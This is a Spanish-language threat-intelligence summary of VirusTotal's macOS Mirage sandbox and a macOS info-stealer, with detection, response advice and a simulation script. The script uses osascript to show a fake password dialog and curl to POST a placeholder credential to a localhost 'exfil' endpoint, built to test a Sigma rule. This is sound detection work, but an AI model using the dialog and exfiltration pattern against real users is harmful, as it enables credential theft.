macOS Mirage: Análisis Dinámico y Detecciones Sigma para Apple Silicon

Resumen

VirusTotal ha introducido macOS Mirage, un nuevo sandbox de análisis dinámico diseñado específicamente para Apple Silicon (ARM64) y macOS 26. La plataforma proporciona una telemetría de comportamiento de alta fidelidad y detecciones automatizadas Sigma para identificar amenazas macOS en evolución como los info-stealers y el malware de phishing de credenciales. Aborda la transición de sistemas Intel a ARM64 mientras opera contra protecciones modernas, incluyendo System Integrity Protection (SIP).

Investigación

El informe analiza una muestra de info-stealer de macOS, unix51436504, que utiliza AppleScript para el phishing y cargas útiles de múltiples etapas para la persistencia y el robo de datos. Los investigadores rastrearon el malware desde un engañoso aviso de contraseña inicial hasta la persistencia basada en LaunchDaemons y la exfiltración de datos de Keychain, Safari y Apple Notes. El sandbox mapeó exitosamente estos comportamientos a técnicas relevantes de MITRE ATT&CK usando reglas Sigma.

Mitigación

Aunque no se detallan parches de software específicos, el informe enfatiza la monitorización del acceso no autorizado a ubicaciones sensibles como las bases de datos de Keychain, TCC.db y LaunchDaemons. Las organizaciones deberían detectar el uso sospechoso de utilidades de línea de comandos incluyendo osascript, curl, y ditto cuando se ejecuten en contextos inusuales. Monitorear patrones de ejecución de múltiples etapas y modificaciones inesperadas de archivos en /tmp/ o directorios del hogar del usuario también es crítico.

Respuesta

Cuando estos comportamientos sean detectados, los respondedores deben aislar inmediatamente el dispositivo macOS afectado para prevenir la exfiltración adicional de datos. Investigue los mecanismos de persistencia, prestando especial atención a /Library/LaunchDaemons y LaunchAgents a nivel de usuario. Realice una revisión completa de los datos de Keychain, credenciales del navegador y claves SSH para posibles compromisos, y restablezca todas las credenciales sensibles expuestas.

Ejecución de Simulación

• Narrativa del Ataque & Comandos: Un adversario pretende recolectar credenciales de usuario presentando un cuadro de diálogo del sistema convincente pero falso. El atacante utiliza osascript para desencadenar una caja de diálogo en macOS. Para imitar la lógica específica de la regla de detección (que busca un error tipográfico específico ‘passwen’), el script usará intencionadamente esa cadena. Una vez que el usuario «envíe» la contraseña falsa, el script utiliza curl para hacer un POST de los datos capturados a un receptor remoto, simulando la fase de exfiltración de un info-stealer.

• Script de Prueba de Regresión:

  #!/bin/bash
  # Simulación de Phishing de Credenciales de Info-Stealer en macOS
  
  # 1. Desencadena el diálogo falso (coincide con indicador1 e indicador2)
  # Nota: Usando 'passwen' para desencadenar la lógica específica en la regla de detección
  osascript -e 'set passwen to display dialog "Actualización de Seguridad del Sistema: Ingrese su contraseña de macOS para continuar" default answer "" with icon caution'
  
  # 2. Simula la exfiltración vía curl (coincide con indicador3)
  # Simulamos enviar la cadena "robada" a un punto final local/remoto
  curl -X POST -d "password=stolen_credential_example" http://localhost:8080/exfil
  
  echo "[+] Simulación completa. Verifique alertas en SIEM."

• Comandos de Limpieza:

  # No se crearon archivos permanentes durante esta simulación.
  # Si se usaron archivos temporales para la preparación de datos, serían eliminados aquí.
  rm -f /tmp/stolen_creds.txt